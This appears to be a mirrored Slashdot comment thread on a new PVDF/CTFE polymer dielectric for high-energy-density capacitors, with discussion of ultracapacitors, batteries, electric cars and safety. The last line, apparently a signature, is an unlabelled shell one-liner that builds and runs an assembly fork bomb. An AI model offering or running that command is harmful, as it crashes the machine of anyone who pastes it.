Slashdot Mirror
Improved High-Performance Energy Storage
Physicists at the University of North Carolina have developed new improvements for high-energy-density capacitors that can store up to seven times as much energy per unity volume as common capacitors. "The amount of energy that a capacitor can store depends on the insulating material in between the metal surfaces, called a dielectric. A polymer called PVDF has interested physicists as a possible high-performance dielectric. It exists in two forms, polarized or unpolarized. In either case, its structure is mostly frozen-in and changes only slightly when a capacitor is charged up. Mixing a second polymer called CTFE with PVDF results in a material with regions that can change their structure, enabling it to store and release unprecedented amounts of energy."
From TFA, it is North Carolina State University. You are about to be set upon by wolves!
I was wandering about this for some time, you look at any electronics board, the biggest things on them are chips, which are actually many many small components, and capacitors, which are disproportionately big in comparison to everything else which has been turned into miniscule gizmos integrated into everything else.
CTFE Chlorotrifluoroethylene PVDF Polyvinylidene fluoride http://en.wikipedia.org/wiki/Polyvinylidene_fluori de
Sigs are too short to say anything truly profound so read the above post instead.
Key phrase from TFA:
"Their predictions of higher energy density capacitors are encouraging, but have yet to be experimentally tested."
Call me when they're being produced in something resembling quantity. Yeesh.
Slashdot Patriotism: We Support our Dupes!
The editors are asleep again. The summary says the discovery was made at University of North Carolina, which really surprised me because all of the good engineering is happening at North Carolina State University.
It might seem like a trivial slip but to those around here there is a pretty huge difference.
Oh yeah, and DUKE SUCKS.
Is this really newsworthy?
http://www.google.com/search?q=ultracapacitors
No sig today...
Well, guess all those AIs in the matrix won't need us any longer. Goodbye, reality!
It was bad enough to just get your shiny new needlenose pliers welded together. =/
Don't get too excited. They're still about an order of magnitude away from lithium ion batteries. The power power density and durability are much better, but that doesn't mean much when it has to be 10 times as big.
In his novel Friday Robert Heinlein described a fictional device called a "Shipstone". This was an ultra-super electricity storage device.
Supposedly, the shipstone had a dramatic positive effect on the world. It was no longer a problem to get electricity from where it's made to where you need it. Big solar power systems were put in areas that get lots of sun, for example. Cars would run on Shipstones, and instead of gas stations, they had stations where you could swap the discharged Shipstone from your car for a fresh, fully-charged one.
I have been wondering if these new ultracapacitors might someday become practical "Shipstones". How close are ultracapacitors to, say, powering a car?
Can you drain the power slowly from an ultracapactor, to run a car for a few hours, or do you have to drain it quickly? Does charge leak out slowly over time from an ultracapacitor, or can you make it fairly inert?
Thanks. Who's the President of the U.S. again? Never can remember. And my girlfriend is having this problem with her ... uh, nevermind about that.
The higher the technology, the sharper that two-edged sword.
Call me when they're competing with MIT's carbon nanotube based ultracapacitors. Conventional ultracapacitors can achieve an energy density of 6Wh/kg, but the CNT ultracapacitors being researched and developed by MIT are claimed to achieve an energy density of 60Wh/kg (or, let's say, ten times more than this "new" capacitory developed by North Carolina State University).
p _project.html li.pdf
Overview: http://lees-web.mit.edu/lees/projects/cnt_ultraca
More-detailed Poster (PDF): http://lees-web.mit.edu/lees/posters/RU13_signore
Reinvent the wheel only at either a lower cost, greater effectiveness, or your own personal enrichment and satisfaction.
Break out the railguns, baby, it's time for some head shots!
Capacitors are rarely meant to be a battery replacement. They are meant to be used for fast storage and release of energy on the order of milli- or microseconds. The chemical reaction that occurs in batteries is far too slow to produce a resonating RLC circuit, or even power a bright camera flash where a capacitor is used in parallel with the battery. Likewise, the Capacitor has a much smaller operating output than a battery in general and they tend to leak thus requiring a load just to keep them at full charge.
The excitement isn't in the fact that they may be a battery replacement, it's that they can store a ton of energy for many other electrical uses.
Well, back to rejecting software patent applications.
While I do agree that this research is still preliminary, the technology has the huge potential to finally overcome two major hassles in terms of electric power storage, namely charge times (after all, capacitors charge way quicker than any NiMH or Li-On battery pack) and density of storage.
:-)
This could open the way for two things:
1) A decent means to storage power generated by solar panels and wind turbines so it can be used when the Sun is not up and wind velocity is low. That could make it possible for true distributed power generation, where every home generates its own electricity and shares the excess with other people in the neighborhood.
2) A true, practical electric car. With supercapacitor batteries, we could dramatically increase the range of the electric car, reduce the size of the battery pack so it rarely inteferes with interior space, and charge the battery pack in about the same time you fill up a 20-gallon fuel tank!
That's why I think people are still underestimating MIT's announcement of nanotube-based supercapacitor development. It could potentially make the whole idea of fuel cell power superfluous.
Energy and power density are usually given by mass (Joules/kg or Watts/kg).
The one major thing to worry about though is that an item that can charge up incredibly fast, contain a lot of electricity, and store it efficiently, can also discharge rapidly and violently...
Of course, an answer about sex would just *have* to come from a guy called "Vulva".
I hate printers.
Once the capacity gets brought up close to a battery, then the average battery will disappear. The reality is that batteries have a relatively short life cycle, cost an arm and a leg, and have a LONG recycle time. Capacitors will superceed batteries in terms of energy storage in the course of the next decade (probably within 5). Of course, W. has focused as much research on hydrogen/ethanol as possible, but within another 5 years, the main focus on energy storage will be electrical, most likely in the form of capacitors. It is just too efficient.
I prefer the "u" in honour as it seems to be missing these days.
Surely you mean "unit volume"
"Win treats sysadmins better than users. Mac treats users better than sysadmins. Linux treats everyone like sysadmins."
Fundamentally, capacitors store electricity (electrical charge), batteries do not - they convert electrical energy into chemical energy in a reversible manner. The charge/discharge curves are very different, most batteries will provide a pretty steady voltage until the chemical energy is almost depleted - capacitors will exhibit a smooth drop in voltage as the electrical energy is removed. Batteries won't work in normal resonating circuits because they don't have exponential charge/discharge curves like capacitors. This is also the main reason that capacitors won't replace batteries for simple circuits - a battery can be equipped with a simple buck regulator and provide very acceptable service. Because of the exponential discharge curve of a capacitor, making effective use of its stored energy requires a much more complex (and costly) regulator.
While one can encounter "leaky" capacitors, that is not a necessary characteristic, and some commonly available ones do very, very well
Capacitors are not exclusively used for their ability to release energy quickly - high capacity ("gold" or "supercaps") ones are often used as backup power sources for low current applications (such as real time clock keepalive), due to the fact that they can be expected to have longer lifetimes than batteries.
"National Security is the chief cause of national insecurity." - Celine's First Law
This is another example of a super-material that is great at just one thing. How does it stand up to heat (or cold for that matter). Is it to brittle to put in a portable device? Is it able to be produced efficiently (read: cost effectively)? Unless some of these other questions are answered this is just another material to be used as some kind of benchmark in a laboratory.
Ultracapacitors are really impressive. They exceed the limits of what was considered physically possible twenty years ago. The newer ones can be charged fast and discharged fast; it's not like the older ones that could only deliver tiny currents. People have used ultracapacitors to start auto engines.
The problem, though, is that all the energy can come out at once if they're shorted or damaged. Lithium-ion battery thermal runaway is a problem, and laptop fires have resulted. Ultracapacitor failures will be worse. You don't really want to have a fuel tank's worth of energy stored in a capacitor. But saving the energy from braking a car is probably OK.
The one major thing to worry about though is that an item that can charge up incredibly fast, contain a lot of electricity, and store it efficiently, can also discharge rapidly and violently...
Hmm, very interesting. Perhaps it could be used as a power source for a HANDHELD DEATH RAY!!!!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;